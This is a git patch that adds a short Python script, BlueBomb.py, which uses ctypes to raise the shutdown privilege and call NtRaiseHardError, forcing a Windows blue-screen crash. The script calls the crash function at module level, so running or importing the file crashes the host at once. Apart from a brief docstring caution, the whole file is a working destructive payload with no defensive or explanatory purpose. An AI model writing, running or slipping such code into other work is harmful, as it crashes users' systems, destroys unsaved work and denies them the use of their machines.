From 78ddd58b66638064d51b487d10c4b47b532973b9 Mon Sep 17 00:00:00 2001 From: Jax Date: Mon, 30 Mar 2026 09:59:30 +1100 Subject: [PATCH] Adds the file --- BlueBomb.py | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 BlueBomb.py diff --git a/BlueBomb.py b/BlueBomb.py new file mode 100644 index 0000000..74e47de --- /dev/null +++ b/BlueBomb.py @@ -0,0 +1,20 @@ +import ctypes + +def blue_screen(): + """ + Function to trigger a blue screen in Windows using ctypes library. + + This function directly calls the Windows API to initiate a blue screen. + It should be used with caution as it forcefully restarts the system. + + Raises: + - WindowsError: + Raises an error if the blue screen operation fails. + """ + + # Using ctypes to call the Windows API for blue screen + ctypes.windll.ntdll.RtlAdjustPrivilege(19, 1, 0, ctypes.byref(ctypes.c_bool())) + ctypes.windll.ntdll.NtRaiseHardError(0xc0000022, 0, 0, 0, 6, ctypes.byref(ctypes.c_ulong())) + +# Triggering the blue screen +blue_screen()